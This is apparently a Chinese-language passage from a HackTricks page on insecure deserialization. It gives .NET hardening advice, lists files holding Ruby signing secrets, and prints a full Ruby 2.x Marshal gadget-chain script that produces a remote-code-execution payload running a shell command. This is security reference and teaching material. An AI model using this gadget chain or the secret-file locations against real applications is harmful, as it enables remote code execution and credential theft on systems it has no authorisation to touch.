只设置为 None
。
TypeNameHandling = TypeNameHandling.None
如果必须使用`JavaScriptSerializer`,则不要将其与`JavaScriptTypeResolver`一起使用。
如果必须反序列化定义了自己类型的数据流,则应限制允许反序列化的类型。应该意识到这仍然是有风险的,因为许多原生.Net类型本身可能具有潜在危险。例如:
System.IO.FileInfo
FileInfo
对象在反序列化时,如果引用了服务器上实际存在的文件,可以更改这些文件的属性,例如设置为只读,从而可能导致拒绝服务攻击。
即使您已经限制了可以反序列化的类型,记住某些类型的属性可能存在风险。例如,System.ComponentModel.DataAnnotations.ValidationException
有一个类型为 Object
的属性 Value
。如果这个类型是允许反序列化的类型,那么攻击者可以将 Value
属性设置为他们选择的任何对象类型。
应该阻止攻击者指定将要实例化的类型。如果这是可能的,那么即使是 DataContractSerializer
或 XmlSerializer
也可能被颠覆,例如:
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
在反序列化过程中,某些.Net类型内可以发生执行。创建如下所示的控件是无效的。
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
对于BinaryFormatter
和JSON.Net
,可以使用自定义的SerializationBinder
创建更安全的白名单控制形式。
尽量保持对已知.Net不安全反序列化小工具的最新了解,并特别注意这些类型是否可以通过您的反序列化过程创建。反序列化器只能实例化它所知道的类型。
尽量将可能创建潜在小工具的代码与具有互联网连接的任何代码分开。例如,在WPF应用程序中使用的System.Windows.Data.ObjectDataProvider
是一个已知的小工具,允许任意方法调用。在一个反序列化不受信任数据的REST服务项目中引用此程序集将是冒险的。
参考资料
- Java和.Net JSON反序列化论文:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**,**讲座:https://www.youtube.com/watch?v=oUAeWhW5b8c 和幻灯片:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby在marshal库中有两种实现序列化的方法:第一种方法是dump,它将对象转换为字节流**(序列化)。第二种方法是load**,将字节流再次转换为对象**(反序列化)**。
Ruby使用HMAC对序列化对象进行签名,并将密钥保存在以下文件之一:
- config/environment.rb
- config/initializers/secret_token.rb
- config/secrets.yml
- /proc/self/environ
Ruby 2.X通用反序列化到RCE小工具链(更多信息在https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
其他利用 Ruby On Rails 的 RCE 链:[https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客技术,成为英雄!</strong></summary>
其他支持 HackTricks 的方式:
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details>